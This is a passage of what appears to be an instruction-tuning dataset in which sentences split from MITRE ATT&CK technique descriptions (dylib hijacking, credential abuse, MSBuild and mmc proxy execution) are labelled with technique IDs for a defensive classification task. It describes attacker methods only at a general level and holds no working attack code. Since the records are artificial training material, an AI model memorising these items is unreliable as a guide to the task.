libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The dynamic loader will try to find the dylibs based on the sequential order of the search paths.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The dynamic loader will try to find the dylibs based on the sequential order of the search paths. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation:", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Dylib Hijack Vulnerable Apps)(Citation:", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Dylib Hijack Vulnerable Apps)(Citation: ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Based on the application, this could result in privilege escalation and uninhibited network access.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Based on the application, this could result in privilege escalation and uninhibited network access. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install an older version of the operating system of a network device to weaken security.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install an older version of the operating system of a network device to weaken security. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).", "output": "T1601.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ### Response: T1601.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.", "output": "T1078.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ### Response: T1078.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit a system or application vulnerability to bypass security features.", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit a system or application vulnerability to bypass security features. ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001).", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The security software will likely be targeted directly for exploitation.", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The security software will likely be targeted directly for exploitation. ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are examples of antivirus software being targeted by persistent threat groups to avoid detection. ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)", "output": "T1211", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw) ### Response: T1211."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSBuild.exe", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSBuild.exe ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Microsoft Build Engine) is a software build platform used by Visual Studio.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Microsoft Build Engine) is a software build platform used by Visual Studio. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse MSBuild to proxy execution of malicious code.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse MSBuild to proxy execution of malicious code. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation:", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task.", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", "output": "T1127.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) ### Response: T1127.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads.", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker)", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", "output": "T1127", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions. ### Response: T1127."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "output": "T1529", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. ### Response: T1529."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device.", "output": "T1529", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. ### Response: T1529."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.", "output": "T1529", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. ### Response: T1529."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation:", "output": "T1529", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: ### Response: T1529."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Olympic Destroyer 2018)", "output": "T1529", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Olympic Destroyer 2018) ### Response: T1529."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These snap-ins may be used to manage Windows systems locally or remotely.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These snap-ins may be used to manage Windows systems locally or remotely. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MMC can also be used to open Microsoft created .msc", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MMC can also be used to open Microsoft created .msc ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "files to manage system configuration.(Citation: win_msc_files_overview)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: files to manage system configuration.(Citation: win_msc_files_overview) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is 